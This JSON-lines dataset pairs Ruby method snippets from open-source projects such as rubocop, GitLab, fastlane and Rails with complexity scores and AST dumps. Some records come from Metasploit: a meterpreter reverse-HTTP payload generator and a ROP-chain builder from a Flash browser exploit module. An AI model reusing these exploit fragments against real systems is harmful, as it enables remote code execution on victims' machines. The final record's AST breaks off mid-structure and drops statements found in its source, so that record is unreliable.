{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_conversion.rb","start_line":104,"raw_source":"def register_offense_for_zip_method(node, zip_method)\n          add_offense(node, message: MSG_TO_H) do |corrector|\n            if zip_method.parenthesized?\n              corrector.insert_before(zip_method.loc.end, '[]')\n            else\n              corrector.insert_after(zip_method, '([])')\n            end\n          end\n        end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"register_offense_for_zip_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"zip_method\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MSG_TO_H\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_method\"]},\"parenthesized?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_before\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_method\"]},\"loc\"]},\"end\"]},{\"type\":\"str\",\"children\":[\"[]\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_after\",{\"type\":\"lvar\",\"children\":[\"zip_method\"]},{\"type\":\"str\",\"children\":[\"([])\"]}]}]}]}]}","id":"208a1149-2980-454b-b2b4-bb395bfd85c0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb","start_line":34,"raw_source":"def generate(_opts = {})\n    opts = {\n      scheme: 'http',\n      stageless: true\n    }.merge(mettle_logging_config)\n    MetasploitPayloads::Mettle.new('powerpc-e500v2-linux-musl', generate_config(opts)).to_binary :exec\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheme\"]},{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stageless\"]},{\"type\":\"true\",\"children\":[]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"mettle_logging_config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MetasploitPayloads\"]},\"Mettle\"]},\"new\",{\"type\":\"str\",\"children\":[\"powerpc-e500v2-linux-musl\"]},{\"type\":\"send\",\"children\":[null,\"generate_config\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},\"to_binary\",{\"type\":\"sym\",\"children\":[\"exec\"]}]}]}]}","id":"059c864e-d0a2-4235-ae57-f133a850f73d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/add_todo_when_build_fails_service.rb","start_line":18,"raw_source":"def close(commit_status)\n      close_all(commit_status.pipeline)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit_status\"]}]},{\"type\":\"send\",\"children\":[null,\"close_all\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_status\"]},\"pipeline\"]}]}]}","id":"33a3b0f9-eded-4e12-97b4-97a4e53ce5d9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_self.rb","start_line":187,"raw_source":"def allow_self(node)\n          return unless node.send_type? && node.self_receiver?\n\n          @allowed_send_nodes << node\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_self\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"self_receiver?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@allowed_send_nodes\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"a09064a7-fd03-4b96-97aa-0b585d68369c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/issues/base_resolver.rb","start_line":138,"raw_source":"def prepare_assignee_username_params(args)\n        rewrite_param_name(args, :assignee_usernames, :assignee_username)\n        rewrite_param_name(args[:or], :assignee_usernames, :assignee_username)\n        rewrite_param_name(args[:not], :assignee_usernames, :assignee_username)\n        rewrite_param_name(args, :assignee_wildcard_id, :assignee_id)\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_assignee_username_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rewrite_param_name\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"sym\",\"children\":[\"assignee_usernames\"]},{\"type\":\"sym\",\"children\":[\"assignee_username\"]}]},{\"type\":\"send\",\"children\":[null,\"rewrite_param_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"or\"]}]},{\"type\":\"sym\",\"children\":[\"assignee_usernames\"]},{\"type\":\"sym\",\"children\":[\"assignee_username\"]}]},{\"type\":\"send\",\"children\":[null,\"rewrite_param_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not\"]}]},{\"type\":\"sym\",\"children\":[\"assignee_usernames\"]},{\"type\":\"sym\",\"children\":[\"assignee_username\"]}]},{\"type\":\"send\",\"children\":[null,\"rewrite_param_name\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"sym\",\"children\":[\"assignee_wildcard_id\"]},{\"type\":\"sym\",\"children\":[\"assignee_id\"]}]}]}]}","id":"e90ec56a-6a00-44a5-84a1-e9146e8564ec"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/user_invitation.rb","start_line":79,"raw_source":"def get_visible_apps(client: nil, limit: nil)\n        client ||= Spaceship::ConnectAPI\n        resp = client.get_user_invitation_visible_apps(user_invitation_id: id, limit: limit)\n        return resp.to_models\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_visible_apps\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_user_invitation_visible_apps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_invitation_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"to_models\"]}]}]}]}","id":"ab032d58-ed3e-4123-b766-e3323b1789cd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/schema_migrations_test.rb","start_line":11,"raw_source":"def test_renaming_index_on_foreign_key\n    connection.add_index \"engines\", \"car_id\"\n    connection.add_foreign_key :engines, :cars, name: \"fk_engines_cars\"\n\n    connection.rename_index(\"engines\", \"index_engines_on_car_id\", \"idx_renamed\")\n    assert_equal [\"idx_renamed\"], connection.indexes(\"engines\").map(&:name)\n  ensure\n    connection.remove_foreign_key :engines, name: \"fk_engines_cars\"\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_renaming_index_on_foreign_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_index\",{\"type\":\"str\",\"children\":[\"engines\"]},{\"type\":\"str\",\"children\":[\"car_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"engines\"]},{\"type\":\"sym\",\"children\":[\"cars\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"fk_engines_cars\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"rename_index\",{\"type\":\"str\",\"children\":[\"engines\"]},{\"type\":\"str\",\"children\":[\"index_engines_on_car_id\"]},{\"type\":\"str\",\"children\":[\"idx_renamed\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"idx_renamed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"indexes\",{\"type\":\"str\",\"children\":[\"engines\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"engines\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"fk_engines_cars\"]}]}]}]}]}]}","id":"4bfd900c-9a87-4cf5-9d01-8ec09517758c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backuper.rb","start_line":345,"raw_source":"def upload_archive\n      return unless store.remote?\n\n      log \"Uploading archive...\"\n      content_type = MiniMime.lookup_by_filename(@backup_filename).content_type\n      archive_path = File.join(@archive_directory, @backup_filename)\n      store.upload_file(@backup_filename, archive_path, content_type)\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_archive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"remote?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Uploading archive...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiniMime\"]},\"lookup_by_filename\",{\"type\":\"ivar\",\"children\":[\"@backup_filename\"]}]},\"content_type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"archive_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@archive_directory\"]},{\"type\":\"ivar\",\"children\":[\"@backup_filename\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"upload_file\",{\"type\":\"ivar\",\"children\":[\"@backup_filename\"]},{\"type\":\"lvar\",\"children\":[\"archive_path\"]},{\"type\":\"lvar\",\"children\":[\"content_type\"]}]}]}]}","id":"1f3f8783-6fc7-42c8-aa05-ebdd4e9cac4b"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/upload_metadata.rb","start_line":478,"raw_source":"def updating_localized_app_info?(app, app_info)\n      app_info ||= fetch_live_app_info(app)\n      unless app_info\n        UI.important(\"Can't find edit or live App info. Skipping upload.\")\n        return false\n      end\n      localizations = app_info.get_app_info_localizations\n\n      LOCALISED_APP_VALUES.each do |key, localized_key|\n        current = options[key]\n        next unless current\n\n        unless current.kind_of?(Hash)\n          UI.error(\"Error with provided '#{key}'. Must be a hash, the key being the language.\")\n          next\n        end\n\n        current.each do |language, value|\n          strip_value = value.to_s.strip\n          next if strip_value.empty?\n\n          app_info_locale = localizations.find { |l| l.locale == language }\n          next if app_info_locale.nil?\n\n          begin\n            current_value = app_info_locale.public_send(localized_key.to_sym)\n          rescue NoMethodError\n            next\n          end\n\n          return true if current_value != strip_value\n        end\n      end\n\n      UI.message('No changes to localized App Info detected. Skipping upload.')\n      return false\n    end","complexity_score":46.7,"ast_json":"{\"type\":\"def\",\"children\":[\"updating_localized_app_info?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"arg\",\"children\":[\"app_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app_info\"]},{\"type\":\"send\",\"children\":[null,\"fetch_live_app_info\",{\"type\":\"lvar\",\"children\":[\"app\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_info\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"Can't find edit or live App info. Skipping upload.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"localizations\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_info\"]},\"get_app_info_localizations\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOCALISED_APP_VALUES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"localized_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error with provided '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"'. Must be a hash, the key being the language.\"]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"language\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"strip_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strip_value\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"app_info_locale\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"localizations\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"locale\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"language\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_info_locale\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_info_locale\"]},\"public_send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"localized_key\"]},\"to_sym\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},null,{\"type\":\"next\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_value\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"strip_value\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"No changes to localized App Info detected. Skipping upload.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"e4b97f84-c86d-4f92-9dc8-fd62f8dc2259"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/participable.rb","start_line":75,"raw_source":"def participant?(user)\n    can_read_participable?(user) &&\n      all_participants_hash[user].include?(user)\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"participant?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_read_participable?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_participants_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"0324f938-c780-4448-a3ef-b92fc4b7148a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/create/job_definition_builder.rb","start_line":10,"raw_source":"def initialize(pipeline, jobs)\n            @pipeline = pipeline\n            @jobs = jobs.select(&:temp_job_definition)\n            @project = pipeline.project\n          end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]},{\"type\":\"arg\",\"children\":[\"jobs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pipeline\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@jobs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"temp_job_definition\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"project\"]}]}]}]}","id":"2393b56c-37b4-497c-b320-79212c9587a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/helpers/ci.rb","start_line":39,"raw_source":"def toolbox_version\n          @toolbox_version ||= ENV[\"GITLAB_TOOLBOX_TAG\"].presence || commit_sha\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"toolbox_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@toolbox_version\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_TOOLBOX_TAG\"]}]},\"presence\"]},{\"type\":\"send\",\"children\":[null,\"commit_sha\"]}]}]}]}","id":"9f364554-1c21-42cd-b5ab-32fbe6ef2909"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/imap/base_fetch_email_service.rb","start_line":27,"raw_source":"def imap_client\n    @imap_client ||= build_imap_client\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"imap_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@imap_client\"]},{\"type\":\"send\",\"children\":[null,\"build_imap_client\"]}]}]}","id":"525b7a77-61ca-4622-a4f8-71e653ed9790"}
{"repo_name":"forem","file_path":"./repos/forem/app/queries/organizations/suggest_prominent.rb","start_line":24,"raw_source":"def tags_to_consider\n      user.decorate.cached_followed_tag_names\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tags_to_consider\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"decorate\"]},\"cached_followed_tag_names\"]}]}","id":"f85f9a4e-bd05-402b-bb4e-12217289851b"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/test/cli_test.rb","start_line":18,"raw_source":"def queues\n    @cli.config.queues\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"queues\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cli\"]},\"config\"]},\"queues\"]}]}","id":"e0687bc5-039c-40b7-ac4d-d03564ff8623"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/vanilla_body_parser.rb","start_line":188,"raw_source":"def next_fragment(index)\n    json[index + 1] || {}\n  end","complexity_score":5.08,"ast_json":"{\"type\":\"def\",\"children\":[\"next_fragment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"ef5c0251-661f-442f-b8b1-6b208b96175e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/session_compatibility.rb","start_line":163,"raw_source":"def session_compatible?(sess_or_sid)\n      session_incompatibility_reasons(sess_or_sid).empty?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"session_compatible?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sess_or_sid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_incompatibility_reasons\",{\"type\":\"lvar\",\"children\":[\"sess_or_sid\"]}]},\"empty?\"]}]}","id":"6be7ada8-4f36-4929-bc83-309ccddeec5d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deployment.rb","start_line":444,"raw_source":"def tier_in_yaml\n    return unless deployable\n\n    deployable.expanded_deployment_tier\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tier_in_yaml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deployable\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deployable\"]},\"expanded_deployment_tier\"]}]}]}","id":"0c8c8a7a-af7a-41d1-8e86-f24dad4096df"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/encoder.rb","start_line":58,"raw_source":"def embedded_coder(record, _association, cached_association)\n        embedded_record_or_records = record.public_send(cached_association.cached_accessor_name)\n\n        if embedded_record_or_records.respond_to?(:to_ary)\n          embedded_record_or_records.map do |embedded_record|\n            coder_from_record(embedded_record, embedded_record.class)\n          end\n        else\n          coder_from_record(embedded_record_or_records, embedded_record_or_records.class)\n        end\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"embedded_coder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"_association\"]},{\"type\":\"arg\",\"children\":[\"cached_association\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"embedded_record_or_records\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"public_send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_association\"]},\"cached_accessor_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_record_or_records\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_ary\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_record_or_records\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"embedded_record\"]}]},{\"type\":\"send\",\"children\":[null,\"coder_from_record\",{\"type\":\"lvar\",\"children\":[\"embedded_record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_record\"]},\"class\"]}]}]},{\"type\":\"send\",\"children\":[null,\"coder_from_record\",{\"type\":\"lvar\",\"children\":[\"embedded_record_or_records\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_record_or_records\"]},\"class\"]}]}]}]}]}","id":"c20c9814-d634-4316-8132-827ed2a12f48"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_rtmp.rb","start_line":129,"raw_source":"def get_rop_chain(t)\n    print_status(\"Using msvcrt ROP\")\n    p = \"\\xbc\\x0c\\x0c\\x0c\\x0c\" # mov esp,0c0c0c0c ; my way of saying 'f you' to the problem\n    p << payload.encoded\n\n    code = ret(t)\n    code << rand_text(119)\n    code << generate_rop_payload('msvcrt', p, { 'target' => 'xp' })\n    offset = 2616 - code.length\n    code << rand_text(offset)\n    code << [ t['StackPivot'] ].pack(\"V\")\n    return code\n  end","complexity_score":21.65,"ast_json":"{\"type\":\"def\",\"children\":[\"get_rop_chain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[null,\"ret\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[119]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_rop_payload\",{\"type\":\"str\",\"children\":[\"msvcrt\"]},{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"xp\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2616]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]},{\"type\":\"send\",\"children\":[{\